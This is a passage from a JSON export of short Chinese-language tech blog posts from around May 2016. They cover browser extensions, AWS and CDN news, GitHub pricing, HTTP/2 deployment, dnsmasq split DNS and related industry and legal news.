    "body": "現在 <a href=\"https://twitter.com/\">Twitter</a> 的網頁版愈做愈慢，於是有不少人在桌機上是用提供給行動裝置的版本瀏覽 (也就是 <a href=\"https://mobile.twitter.com/\">mobile.twitter.com</a> 這個站)，但這個站的功能其實頗陽春。\r\n\r\n而 <a href=\"https://github.com/sindresorhus/refined-twitter\">sindresorhus/refined-twitter</a> 這個專案則在行動版本上面增加了許多快速鍵，在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 上可以透過 Store 安裝：「<a href=\"https://chrome.google.com/webstore/detail/refined-twitter/nlfgmdembofgodcemomfeimamihoknip\">Refined Twitter</a>」。\r\n\r\n之前沒用過行動版的網站，這速度快好多啊...",
    "title": "在網頁行動版的 Twitter 上增加快速鍵"
  },
  {
    "id": "6540",
    "body": "<a href=\"https://www.eff.org/\">EFF</a> 的「<a href=\"https://www.eff.org/deeplinks/2016/05/we-cant-keep-waiting-pass-venue-act-year\">We Can't Keep Waiting: Pass the VENUE Act This Year</a>」這篇寫的還蠻清楚的，VENUE Act (<a href=\"https://www.congress.gov/bill/114th-congress/senate-bill/2733/\">S. 2733</a>) 是一個看起來頗有效的 workaround，先上這個 workaround 降低專利蟑螂的攻勢。\r\n\r\n專利蟑螂 (通常是原告) 可以選擇任意一個聯邦法庭提出控告：\r\n\r\n<blockquote>As the law stands now, patent owners have almost complete control over which federal district to file a case in. That’s a major problem.</blockquote>\r\n\r\n而專利蟑螂會挑選對原告最有利的地區來提出控告，也就是<a href=\"https://zh.wikipedia.org/wiki/%E7%BE%8E%E5%9B%BD%E5%BE%B7%E5%85%8B%E8%90%A8%E6%96%AF%E4%B8%9C%E5%8C%BA%E8%81%94%E9%82%A6%E5%9C%B0%E5%8C%BA%E6%B3%95%E9%99%A2\">美國德克薩斯東區聯邦地區法院</a> (U.S. District Court for the Eastern District of Texas)，這對被告方很不利：\r\n\r\n<blockquote>According to the Mercatus Center and George Mason University, nearly half of all patent cases are filed in the U.S. District Court for the Eastern District of Texas. That’s more than 70 times the average number of patent cases heard in other federal judicial districts.</blockquote>\r\n\r\n<blockquote>Respected academics have identified evidence that procedures in the Eastern District of Texas unnecessarily favor plaintiffs and impose significant, unnecessary costs on companies and individuals accused of infringement, however questionable the patents and demands may be.</blockquote>\r\n\r\n而 VENUE Act 則是拔掉這個武器，必須在與被告相關的主要地區提告。",
    "title": "VENUE Act 對專利蟑螂的反擊"
  },
  {
    "id": "6541",
    "body": "<a href=\"https://www.google.com/\">Google</a> 主動啟用了 HTTPS 版本：「<a href=\"https://security.googleblog.com/2016/05/bringing-https-to-all-blogspot-domain.html\">Bringing HTTPS to all blogspot domain blogs</a>」，預設會將 HTTPS 開起來：\r\n\r\n<blockquote>As part of this launch, we're removing the HTTPS Availability setting. Even if you did not previously turn on this setting, your blogs will have an HTTPS version enabled.</blockquote>\r\n\r\n另外提供 HTTPS Redirect 的選項，可以將訪客自動轉到 HTTPS 上：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GRwCaXS.webp\" /><img src=\"https://i.gslin.com/imgur/GRwCaXS.jpg\" alt=\"\" /></picture>\r\n\r\ncustom domain 的部份不知道會怎麼提供...",
    "title": "Blogger (Blogspot) 全面提供 HTTPS 版本"
  },
  {
    "id": "6542",
    "body": "在 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 可以跑 cron job 後應該就不怎麼意外出現了：「<a href=\"https://github.com/channl/dynamodb-lambda-autoscale\">Autoscale DynamoDB provisioned capacity using Lambda</a>」。\r\n\r\n不像 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 有 <a href=\"https://aws.amazon.com/autoscaling/\">Auto Scaling</a>，或是 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 自己會成長或縮小，<a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 跟其他 <a href=\"https://aws.amazon.com/\">AWS</a> 服務不同，雖然可以 scale，但需要自己手動設定 capacity 伸縮。\r\n\r\n於是就有人寫了程式 (也就是這個專案)，判斷目前的 r/w 用量來決定策略... 有點像是我在處理自家 bandwidth 的搞法，達到某個警戒值就自動增加導去 CDN 的量，或是降低回來 :o",
    "title": "用 Lambda 做 DynamoDB 的 Auto Scaling"
  },
  {
    "id": "6543",
    "body": "<a href=\"https://github.com/bboyairwreck/PieMessage\">PieMessage</a> 是個讓 <a href=\"https://www.android.com/\">Android</a> 的人可以傳 <a href=\"https://en.wikipedia.org/wiki/IMessage\">iMessage</a> 的專案，不過目前看起來弄得好複雜，需要四個元件：\r\n\r\n<ul>\r\n\t<li>messages.applescript</li>\r\n\t<li>Java Web Server (JWS)</li>\r\n\t<li>OSX Client</li>\r\n\t<li>Android Client</li>\r\n</ul>\r\n\r\n看起來不是 hack protocol，而是一路堆出來的東西 (透過 <a href=\"https://www.apple.com/\">Apple</a> 的機器 relay)，好複雜啊...",
    "title": "在 Android 上傳蘋果的 iMessage"
  },
  {
    "id": "6544",
    "body": "<a href=\"https://www.apple.com/\">Apple</a> 對 iOS 程式的新政策：「<a href=\"https://developer.apple.com/news/?id=05042016a\">Supporting IPv6-only Networks</a>」。\r\n\r\n也就是說，在 ISP 提供 <a href=\"https://en.wikipedia.org/wiki/NAT64\">NAT64</a> 的環境下 client 想要連 <code>210.61.183.31</code> 時會連 IPv6 的位置 <code>::d23d:b71f</code>，ISP 會幫忙 NAT 出去。而client 端的應用程式要能夠在這樣的網路環境下正常運作。\r\n\r\n這測試環境沒建過，不知道會遇到什麼問題... @_@",
    "title": "Apple 要求六月開始的 iOS 程式都必須能在 IPv6-only network 運作"
  },
  {
    "id": "6545",
    "body": "在「<a href=\"https://rachelbythebay.com/w/2016/05/05/xcode/\">Go upgrade Xcode. Fix your git security hole.</a>」這邊看到 <a href=\"https://developer.apple.com/xcode/download/\">Xcode</a> 7.3.1 的消息，在「<a href=\"https://developer.apple.com/library/mac/releasenotes/DeveloperTools/RN-Xcode/Chapters/Introduction.html\">Xcode 7.3.1 Release Notes</a>」這邊列出了 7.3.1 的改變，其中 <a href=\"https://git-scm.com/\">Git</a> 總算是更新了：\r\n\r\n<blockquote>Git has been updated to version 2.7.4 in order to improve security. (25181743)</blockquote>\r\n\r\n參考「<a href=\"https://blog.gslin.org/archives/2016/03/17/6429/git-%E7%9A%84%E5%AE%89%E5%85%A8%E6%80%A7%E5%95%8F%E9%A1%8C/\">Git 的安全性問題</a>」這邊，拖了一個多月啊...",
    "title": "Xcode 7.3.1 總算更新了 Git..."
  },
  {
    "id": "6546",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2016/05/06/cpu-governor-performance/\">CPU governor performance</a>」這篇研究在 <a href=\"http://www.linux.org/\">Linux</a> 下 CPU Governor 對 <a href=\"https://dev.mysql.com/\">MySQL</a> 效能的影響。\r\n\r\n由於是要測試 CPU 效能，所以作者將資料量控制在 memory fit，避免 i/o 造成的影響。\r\n\r\n探討了兩種 driver (acpi-cpufreq 與 intel_pstate) 與兩種 governor (ondemand 與 performance)，交叉後總共四種不同的組合。給了兩張圖，不過我覺得後面這張比較清楚：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hPuyKF2.webp\" /><img src=\"https://i.gslin.com/imgur/hPuyKF2.jpg\" alt=\"\" /></picture>\r\n\r\n黑色線是 intel_pstate + performance 的組合 (當基準)，三個條狀圖就是另外三種。\r\n\r\n可以看到藍色的 acpi-cpufreq + performance 效能其實跟基準線的 intel_pstate + performance 差不多。而只要是 ondemand 效能就掉很多... 所以伺服器開 performance 就是了 :o",
    "title": "CPU Governor 對 MySQL 效能的影響"
  },
  {
    "id": "6548",
    "body": "在「<a href=\"http://www.theverge.com/2016/5/5/11605068/facebook-photo-tagging-lawsuit-biometric-privacy\">Lawsuit challenging Facebook’s facial recognition system moves forward</a>」這邊提到了 <a href=\"https://www.facebook.com/\">Facebook</a> 的臉部辨認系統將被搬上法院確認是否違法。\r\n\r\nFacebook 首先提出 <a href=\"https://www.facebook.com/terms\">Terms of Service</a> 內規定不受依利諾州法律管理，只受加州以及聯邦法律管理，而依利諾州推翻這項規範，認為原告有權在依利諾州提起訴訟：\r\n\r\n<blockquote>Today's decision focused on the question of whether the Illinois law is applicable to Facebook, one of the major legal hurdles facing the plaintiffs. Facebook's Terms of Service maintains that the the company is only bound by California and federal laws, and the company had moved to dismiss the case on those grounds. But today, the judge ruled that the terms-of-service clause isn't sufficient to nullify the Illinois law. As a result, the plaintiffs have a valid claim under the Illinois biometrics law and the case can proceed.</blockquote>\r\n\r\n來拉板凳了...",
    "title": "Facebook 的臉部辨認系統將被搬上法院，確認是否違法"
  },
  {
    "id": "6549",
    "body": "就如同標題寫得，把 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 的 JavaScript 關閉，然後開白名單，這樣的好處有不少：\r\n\r\n<ul>\r\n\t<li><strong>大幅增加載入的速度</strong>：即使用了 <a href=\"https://www.ghostery.com/\">Ghostery</a>，還是有不少 JavaScript 的程式被執行到。</li>\r\n\t<li><strong>增加網站安全性</strong>：雖然 Google Chrome 的 sandbox 不算差，但完全不要跑 JavaScript 可以擋下很多安全性問題。</li>\r\n\t<li><strong>對 anti-adblock 機制的抵抗力</strong>：意外的發現不少 anti-adblock 機制都是透過 JavaScript 偵測，而這個方法直接擋下來了。</li>\r\n\t<li><strong>對 infinite-scrolling 機制的抵抗力</strong>：有不少新聞網站拉到最底端會自動讀取相關的新聞 (或是類似的機制)，我其實很不喜歡這樣的機制... 直接省下來 XD</li>\r\n</ul>\r\n\r\n另外就是透過 Google Chrome 本身的同步機制，其實可以設一次所有機器都生效，不算太麻煩。沒意外的話應該會一直用下去...",
    "title": "把 Google Chrome 預設的 JavaScript 關閉，開白名單..."
  },
  {
    "id": "6551",
    "body": "<strong>Update</strong>：這篇的切換會保留到下次 (重新啟動瀏覽器後還是有效)，關於要清掉的請參考「<a href=\"https://blog.gslin.org/archives/2016/05/11/6555/%E6%94%B9%E7%94%A8-simple-javascript-toggle-%E5%88%87%E6%8F%9B-google-chrome-%E7%9A%84-javascript/\">改用 Simple JavaScript Toggle 切換 Google Chrome 的 JavaScript</a>」這邊。\r\n\r\n在上一篇「<a href=\"https://blog.gslin.org/archives/2016/05/09/6549/%E6%8A%8A-google-chrome-%E9%A0%90%E8%A8%AD%E7%9A%84-javascript-%E9%97%9C%E9%96%89%EF%BC%8C%E9%96%8B%E7%99%BD%E5%90%8D%E5%96%AE/\">把 Google Chrome 預設的 JavaScript 關閉，開白名單...</a>」提到把在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 裡把 JavaScript 關掉改用白名單管理有很多好處，但還是有個問題比較討厭，就是臨時要打開 JavaScript 的步驟很麻煩，而且還要記得拔掉。\r\n\r\n而「<a href=\"https://chrome.google.com/webstore/detail/javascript-switcher/pdhgpnepollmhmdlknldcfopcmkmcihd\">JavaScript Switcher</a>」就是解決這個問題的好工具：遇到需要 JavaScript 才會正常運作的網頁時，可以先按一下 icon 讓他開啟 JavaScript (然後他會自己 reload 頁面)，這個設定一直都會生效<del datetime=\"2016-05-10T19:31:30+00:00\">，直到你重開瀏覽器時就會自己洗掉，不需要擔心會忘記拔掉</del>。\r\n\r\n前人把這些工具都做好了，愉快... XD",
    "title": "用 JavaScript Switcher 快速啟用 JavaScript..."
  },
  {
    "id": "6553",
    "body": "Split DNS 指的是某個 DNS domain 使用另外一組 DNS servers，常用在 Partial Route 的 VPN 上，讓內部網域的 DNS domain 正確的被解出來。一般商業的 VPN Software 都會處理掉這塊，不過有時候還是希望可以自己設定...\r\n\r\n<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 桌機上的 Split DNS 可以透過 <a href=\"http://www.thekelleys.org.uk/dnsmasq/doc.html\">Dnsmasq</a> 做到，在我的機器上因為透過 <code>ps awx | grep dnsmasq</code> 可以看到 <code>--conf-dir=/etc/NetworkManager/dnsmasq.d</code>，表示設定的目錄在 <code>/etc/NetworkManager/dnsmasq.d</code> 下，所以我把檔案 <code>mysplit</code> 放到 <code>/etc/NetworkManager/dnsmasq.d</code> 下：\r\n\r\n<pre>#\r\nserver=/mysplit.com/10.1.2.3</pre>\r\n\r\n然後在 dnsmasq 的 manpage 裡面有提到，SIGUSR{1,2} 是拿來分析用的，而 SIGHUP 不是拿來給你重新讀設定檔用的 XDDD\r\n\r\n<blockquote>SIGHUP does NOT re-read the configuration file.</blockquote>\r\n\r\n所以就砍掉他，隨便對 NetworkManager 做個動作，就會重新把 dnsmasq 帶起來了，或者重開機也可以... 再跑 dig 查的時候就可以查到資訊了。",
    "title": "Ubuntu 桌機的 Split DNS"
  },
  {
    "id": "6554",
    "body": "在「<a href=\"http://www.wsj.com/articles/gm-lyft-to-test-self-driving-electric-taxis-1462460094\">GM, Lyft to Test Self-Driving Electric Taxis</a>」這邊看到突破性的服務，<a href=\"https://www.lyft.com/\">Lyft</a> 與<a href=\"http://www.gm.com/\">通用汽車</a> (GM) 合作，將在今年推出無人駕駛計程車。\r\n\r\n通用汽車的新聞稿在這：「<a href=\"http://media.gm.com/media/us/en/gm/home.detail.html/content/Pages/news/us/en/2016/Jan/0104-lyft.html\">GM and Lyft to Shape the Future of Mobility</a>」。\r\n\r\n這直接再度衝擊了整個行業... 這次行業裡面的「人」消失了。",
    "title": "Lyft 與通用汽車合作，將在今年推出無人駕駛計程車"
  },
  {
    "id": "6555",
    "body": "在前一篇「<a href=\"https://blog.gslin.org/archives/2016/05/10/6551/%E7%94%A8-javascript-switcher-%E5%BF%AB%E9%80%9F%E5%95%9F%E7%94%A8-javascript/\">用 JavaScript Switcher 快速啟用 JavaScript...</a>」被小光光 <a href=\"http://kuangche.blogspot.com/\">kcwu</a> 指出來我測錯了，<a href=\"https://chrome.google.com/webstore/detail/javascript-switcher/pdhgpnepollmhmdlknldcfopcmkmcihd\">JavaScript Switcher</a> 在重開瀏覽器後並不會將設定清掉 (會保留到下次)。\r\n\r\n我再找了 <a href=\"https://chrome.google.com/webstore\">Web Store</a> 上了好幾個不同的 extension 測了好幾次，這次在「<a href=\"https://chrome.google.com/webstore/detail/simple-javascript-toggle/mhidlbegmoiddmebedbiijmpckambgfj\">Simple JavaScript Toggle</a>」這個套件測了好幾次，確認有清掉。另外我也確認原始碼的部份有這段：\r\n\r\n<pre>// Clear previous contentSettings made by the extension\r\nfunction init() {\r\n    patternStates = {};\r\n    chrome.contentSettings['javascript'].clear({\r\n        'scope': 'regular'\r\n    });\r\n}</pre>\r\n\r\n這樣應該是 okay 了，再找機會請小光光吃飯 Q_Q",
    "title": "改用 Simple JavaScript Toggle 切換 Google Chrome 的 JavaScript"
  },
  {
    "id": "6557",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 放出可以同時支援 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a> 與 <a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a> 的 <a href=\"http://nginx.org/\">nginx</a> patch：「<a href=\"https://blog.cloudflare.com/open-sourcing-our-nginx-http-2-spdy-code/\">Open sourcing our NGINX HTTP/2 + SPDY code</a>」。\r\n\r\n不過 patch 的版本有點舊：\r\n\r\n<blockquote>We've extracted our changes and they are available as a <a href=\"https://github.com/cloudflare/sslconfig/tree/master/patches\">patch here</a>. This patch should build cleanly against NGINX 1.9.7.</blockquote>\r\n\r\n如同原文下面 comment 提到的問題，nginx 1.9.7 太舊了 (2015/11/17 放出的版本)，到現在有出了不少安全性更新，以及對 HTTP/2 的 bugfix。應該會需要再等官方把新版的 patch 拿出來改之後才能用。",
    "title": "CloudFlare 放出可以同時支援 HTTP/2 與 SPDY 的 nginx patch"
  },
  {
    "id": "6558",
    "body": "<a href=\"https://www.google.com/\">Google</a> 推出了 <a href=\"https://www.apple.com/ios/\">iOS</a> 上的搜尋輸入法 <a href=\"https://itunes.apple.com/app/gboard-search.-gifs.-emojis/id1091700242\">Gboard</a>：「<a href=\"https://googleblog.blogspot.com/2016/05/gboard-search-gifs-emojis-keyboard.html\">Meet Gboard: Search, GIFs, emojis & more. Right from your keyboard.</a>」，可以在 App Store 上下載「<a href=\"https://itunes.apple.com/app/gboard-search.-gifs.-emojis/id1091700242\">Gboard — Search. GIFs. Emojis & more. Right from your keyboard.</a>」，目前只有英文版可以用，其他語言還要等：\r\n\r\n<blockquote>Get it now in the App Store in English in the U.S., with more languages to come.</blockquote>\r\n\r\n可以參考 Google 做的 GIF 動畫，把搜尋的功能結合進去了：\r\n\r\n<img src=\"https://i.gslin.com/imgur/YvcezoY.gif\" alt=\"\" />\r\n\r\n<a href=\"https://daringfireball.net/\">John Gruber</a> 寫了一篇「<a href=\"https://daringfireball.net/2016/05/gboard\">Gboard</a>」關於隱私問題的討論，看起來還頗正面的。除了搜尋結果當然會需要傳到 Google 的系統裡以外，只有 crash log 會匿名傳回去。",
    "title": "Google 推出 iOS 上的搜尋輸入法 Gboard"
  },
  {
    "id": "6559",
    "body": "從 <a href=\"http://www.bloomberg.com/\">Bloomberg</a> 上看到的新聞，<a href=\"https://www.uber.com/\">Uber</a> 這類服務在北美的商務交通支出的佔有率已經超越一般租車了：「<a href=\"http://www.bloomberg.com/news/articles/2016-04-21/uber-overtakes-rental-cars-among-business-travelers\">Uber Overtakes Rental Cars Among Business Travelers</a>」。\r\n\r\n資料來源是來自 <a href=\"https://www.certify.com/\">Certify</a>，北美第二大的雲端管理服務。所以這份資料其實還是有 bias 存在，但還是可以看出大趨勢：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/28IqDfx.webp\" /><img src=\"https://i.gslin.com/imgur/28IqDfx.jpg\" alt=\"\" /></picture>\r\n\r\n所以不只有一般計程車行業受到影響，在商務客也受到衝擊。",
    "title": "Uber 這類服務在北美的商務交通支出超越一般租車"
  },
  {
    "id": "6560",
    "body": "先是在 <a href=\"https://www.akamai.com/\">Akamai</a> 的網站上看到說明：「<a href=\"https://blogs.akamai.com/2016/05/microsoft-azure-cdn-from-akamai-enters-general-availability.html\">Microsoft Azure CDN from Akamai Enters General Availability</a>」，另外裡面有提到 <a href=\"https://www.microsoft.com/\">Microsoft</a> 的公告：「<a href=\"https://azure.microsoft.com/en-us/blog/azure-cdn-from-akamai-ga/\">Microsoft announces general availability of Azure CDN from Akamai</a>」。\r\n\r\n所以 Microsoft Azure 現在提供三個不同的 CDN 方案：\r\n\r\n<ul>\r\n\t<li>Azure CDN Standard from Verizon</li>\r\n\t<li>Azure CDN Standard from Akamai</li>\r\n\t<li>Azure CDN Premium from Verizon</li>\r\n</ul>\r\n\r\n其中 Standard 方案的價錢都相同，而 Verizon 的 Premium 方案大約是兩倍價錢，沒猜錯的話應該是 <a href=\"https://www.verizondigitalmedia.com/platform/accelerate/\">Verizon ACCELERATE</a>？以前 <a href=\"https://www.edgecast.com/\">EdgeCast</a> 的 ADN 產品線？",
    "title": "Akamai 與 Microsoft Azure CDN 合作的方案進入 GA (General Availability)"
  },
  {
    "id": "6561",
    "body": "如標題所說的，<a href=\"https://www.reddit.com/\">Reddit</a> 在規劃這些阻擋 Adblock 的網站：「<a href=\"https://www.reddit.com/r/technology/comments/4if65h/mod_announcement_were_considering_banning_all/\">Mod Announcement: We're considering banning all domains that require users to disable ad blockers and we'd like your input</a>」。\r\n\r\n這些網站要求使用者將網站列入 Adblock 白名單，然後這些網站就會「不小心」推送 malware 給使用者：\r\n\r\n<blockquote>It has come to our attention that many websites such as Forbes and Wired are now requiring users to disable ad blockers to view content. Because Forbes requires users to do this and has then served malware to them we see this as a security risk to you our community. There are also sites such as Wall Street Journal that have implemented pay-walls which we were are also considering banning.</blockquote>\r\n\r\n戰爭愈來愈激烈了...",
    "title": "Reddit 在規劃要禁止「阻擋 Adblock 的網站」"
  },
  {
    "id": "6562",
    "body": "在 <a href=\"https://lwn.net/\">LWN</a> 上看到這個消息：「<a href=\"https://lwn.net/Articles/686896/\">BitKeeper's open source release</a>」，<a href=\"https://www.bitkeeper.org/\">BitKeeper</a> 網站上也已經看到 open source 的消息了。\r\n\r\n從 2005 年跟 <a href=\"http://www.linux.org/\">Linux</a> 分家後，走了十年走到這條路... 在「<a href=\"https://news.ycombinator.com/item?id=11668492\">This is to answer this question and all the \"too late\" comments.</a>」這邊看到是這樣做出來的決定，看起來沒救了：\r\n\r\n<blockquote>Git/Github has all the market share. Trying to compete with that just proved to be too hard. So rather than wait until we were about to turn out the lights, we decided to open source it while we still had money in the bank and see what happens. We've got about 2 years of money and we're trying to build up some additional stuff that we can charge for. We're also open to being doing work for pay to add whatever it is that some company wants to BK, that's more or less what we've been doing for the last 18 years.\r\n\r\nWill it work? No idea. We have a couple of years to find out. If nothing pans out, open sourcing it seemed like a better answer than selling it off.</blockquote>",
    "title": "BitKeeper 的 Open Source 行為"
  },
  {
    "id": "6563",
    "body": "<a href=\"https://panopticon.re/\">Panopticon</a> 看起來頗不錯，可以直接解機械碼轉成 assembly，再把 flow 畫出來讓人理解：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xTXl5Qc.webp\" /><img src=\"https://i.gslin.com/imgur/xTXl5Qc.jpg\" alt=\"\" /></picture>\r\n\r\n不過還不知道遇到 dynamic self-decoding 的程式會怎麼處理，另外我記得好像有些商用的 solution 已經有提供了，不知道相比起來如何。",
    "title": "解譯機械碼的 Panopticon"
  },
  {
    "id": "6564",
    "body": "<a href=\"https://github.com/\">GitHub</a> 推出以 user 數量計費的方案：「<a href=\"https://github.com/blog/2164-introducing-unlimited-private-repositories\">Introducing unlimited private repositories</a>」。舊的方案可以參考在「<a href=\"https://web.archive.org/web/20160330191811/https://github.com/pricing/plans\">web.archive.org</a>」這邊記錄下來的內容。\r\n\r\n這個方案下的個人帳號會大幅受益：原先最低消費的 USD$7/month 是 5 private repositories，現在變成 unlimited private repositories。\r\n\r\n而企業方案將會大幅調漲，雖然現有的 Plan 還是存在，但有種開始殺雞的味道了。\r\n\r\n以前 USD$200/month 可以買到 125 個 repository，現在只能給 22 個人用。同時因為 GitHub 對 deploy key 的限制，跨 repository 時無法重複使用同一把 key，就需要用到真正的 user account，這點就變成額外的成本了。\r\n\r\n看了一下內部的數字，不是多一倍兩倍的費用，而是多一個數量級...",
    "title": "GitHub 大幅調漲企業方案"
  },
  {
    "id": "6565",
    "body": "看了 <a href=\"http://gizmodo.com/\">Gizmodo</a> 與 <a href=\"https://www.facebook.com/\">Facebook</a> 的對話，就有種之前某長輩常說的「沒被抓到就不算犯罪喔～」的感覺：「<a href=\"http://gizmodo.com/former-facebook-workers-we-routinely-suppressed-conser-1775461006\">Former Facebook Workers: We Routinely Suppressed Conservative News</a>」。\r\n\r\nGizmodo 接到前員工的線報後，再加上透過關係問到其他的前員工，證實了標題的消息：\r\n\r\n<blockquote>Facebook workers routinely suppressed news stories of interest to conservative readers from the social network’s influential “trending” news section, according to a former journalist who worked on the project. This individual says that workers prevented stories about the right-wing CPAC gathering, Mitt Romney, Rand Paul, and other conservative topics from appearing in the highly-influential section, even though they were organically trending among the site’s users.</blockquote>\r\n\r\n<blockquote>Several former Facebook “news curators,” as they were known internally, also told Gizmodo that they were instructed to artificially “inject” selected stories into the trending news module, even if they weren’t popular enough to warrant inclusion—or in some cases weren’t trending at all. The former curators, all of whom worked as contractors, also said they were directed not to include news about Facebook itself in the trending module.</blockquote>\r\n\r\n當然 Facebook 對於這種沒辦法證實的事情是全盤否認，不過再重複一次某長輩的「沒被抓到就不算犯罪喔～」的經典台詞...",
    "title": "Facebook 操弄 Trending 裡的新聞"
  },
  {
    "id": "6566",
    "body": "<a href=\"https://github.com/nlp-compromise/nlp_compromise\">nlp-compromise/nlp_compromise</a> 是一個 JavaScript 寫的 NLP library，網頁上給的用法也很特別...\r\n\r\n過去式：\r\n\r\n<pre>nlp.text('She sells seashells').to_past()\r\n// She sold seashells</pre>\r\n\r\n複數形：\r\n<pre>nlp.noun(\"dinosaur\").pluralize();\r\n// \"dinosaurs\"</pre>\r\n\r\n還有這種用法：\r\n\r\n<pre>nlp.statement('She sells seashells').negate().text()\r\n// She doesn't sell seashells</pre>\r\n\r\n也有這種用法：\r\n\r\n<pre>nlp.sentence('I fed the dog').replace('the [Noun]', 'the cat').text()\r\n// I fed the cat</pre>\r\n\r\n抓人出來：\r\n\r\n<pre>nlp.text(\"Tony Hawk did a kickflip\").people();\r\n// [ Person { text: 'Tony Hawk' ..} ]</pre>\r\n\r\n不定冠詞：\r\n\r\n<pre>nlp.noun(\"vacuum\").article();\r\n// \"a\"</pre>\r\n\r\n還可以猜性別？\r\n\r\n<pre>nlp.person(\"Tony Hawk\").pronoun();\r\n// \"he\"</pre>\r\n\r\nstr2num：\r\n\r\n<pre>nlp.value(\"five hundred and sixty\").number;\r\n// 560</pre>\r\n\r\n好像是好玩的東西... XD",
    "title": "用 JavaScript 寫的 NLP Library"
  },
  {
    "id": "6567",
    "body": "<a href=\"https://www.dropbox.com/\">Dropbox</a> 將本來的 <a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a> 切換到 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a> 後整理了不少資料：「<a href=\"https://blogs.dropbox.com/tech/2016/05/enabling-http2-for-dropbox-web-services-experiences-and-observations/\">Enabling HTTP/2 for Dropbox web services: experiences and observations</a>」。\r\n\r\n大多數都是效能的改善，但「Increased latency for POST requests.」這段頗有趣的，找出了 <a href=\"http://nginx.org/\">nginx</a> 的 bug：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4dh3W3p.webp\" /><img src=\"https://i.gslin.com/imgur/4dh3W3p.jpg\" alt=\"\" /></picture>\r\n\r\nPOST 的 latency 大約增加了 50%，而實際追蹤問題發現是 nginx 中 <code>SETTINGS_INITIAL_WINDOW_SIZE</code> 預設值的問題，然後提出 patch 改善：「<a href=\"http://mailman.nginx.org/pipermail/nginx-devel/2016-May/008211.html\">[nginx] HTTP/2: rewritten handling of request body.</a>」：\r\n\r\n<blockquote>There is a small issue with setting `SETTINGS_INITIAL_WINDOW_SIZE` to 0: now when client tries to POST data it needs to wait for an additional RTT(between `send HEADERS` and `recv WINDOW_UPDATE`) to start sending data.</blockquote>",
    "title": "Dropbox 從 SPDY 切換到 HTTP/2 發現的現象"
  },
  {
    "id": "6568",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 在南韓首爾建立第三個點：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/05/announcing-third-edge-location-in-seoul-korea-for-amazon-cloudfront/\">Announcing Third Edge Location in Seoul, Korea for Amazon CloudFront</a>」。\r\n\r\n經濟規模大到可以放第三個點了... 日本因為地理位置的關係，則是東京兩個點與大阪一個點。",
    "title": "CloudFront 在南韓首爾建立第三個點"
  },
  {
    "id": "6569",
    "body": "剛剛發現公司的 <a href=\"https://slack.com/\">Slack</a> 網域 <code>kkbox.slack.com</code> 已經上了 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a>，測了一些其他的 domain，應該是全部都上了：\r\n\r\n<pre><small>gslin@home [~] [15:55/W4] mtr --report kkbox.slack.com\r\nStart: Tue May 17 15:56:06 2016\r\nHOST: home.gslin.org              Loss%   Snt   Last   Avg  Best  Wrst StDev\r\n  1.|-- h254.s98.ts.hinet.net      0.0%    10   16.3  11.7   9.3  18.8   3.1\r\n  2.|-- SNUH-3302.hinet.net        0.0%    10   44.5  13.4   9.0  44.5  10.9\r\n  3.|-- SNUH-3202.hinet.net        0.0%    10    8.8  12.7   8.8  26.8   5.9\r\n  4.|-- TPDT-3012.hinet.net        0.0%    10   12.0  14.3  10.4  19.2   3.1\r\n  5.|-- r4210-s2.hinet.net         0.0%    10    9.8  10.4   9.0  11.4   0.5\r\n  6.|-- 203-75-228-29.HINET-IP.hi  0.0%    10   10.3  10.6   9.2  13.7   1.2\r\n  7.|-- R1011-ASR.tpix.net.tw      0.0%    10   12.1  11.6  10.5  13.2   0.5\r\n  8.|-- 202-133-255-122-static.un  0.0%    10   11.3  10.6   9.8  11.8   0.5\r\n  9.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 10.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 11.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 12.|-- server-54-230-215-138.tpe  0.0%    10   11.9  11.2  10.1  12.2   0.3</small></pre>\r\n\r\n這樣先前遇到從 <a href=\"http://www.hinet.net/\">HiNet</a> 到 <a href=\"http://www.level3.com/\">Level3</a> 常常爛掉的問題應該是可以解決不少？",
    "title": "Slack 把服務丟上 CloudFront..."
  },
  {
    "id": "6570",
    "body": "在追 <a href=\"https://github.com/sindresorhus/refined-twitter\">refined-twitter</a> 程式碼的時候，在「<a href=\"https://github.com/sindresorhus/refined-twitter/blob/master/extension/content.js\">refined-twitter/extension/content.js</a>」這邊看到：\r\n\r\n<pre>const $ = document.querySelector.bind(document);</pre>\r\n\r\n這樣就可以拿 CSS Selector 掃出元件，程式變得比較好讀... 當然，這個方式不是 <a href=\"https://en.wikipedia.org/wiki/Fluent_interface\">fluent interface</a>，沒辦法再依樣串下去。\r\n\r\n用 <a href=\"https://www.google.com/\">Google</a> 查了一些資料，看起來至少從 2013 年就有這個技巧了。",
    "title": "簡易的 jQuery CSS Selector 替代品"
  },
  {
    "id": "6571",
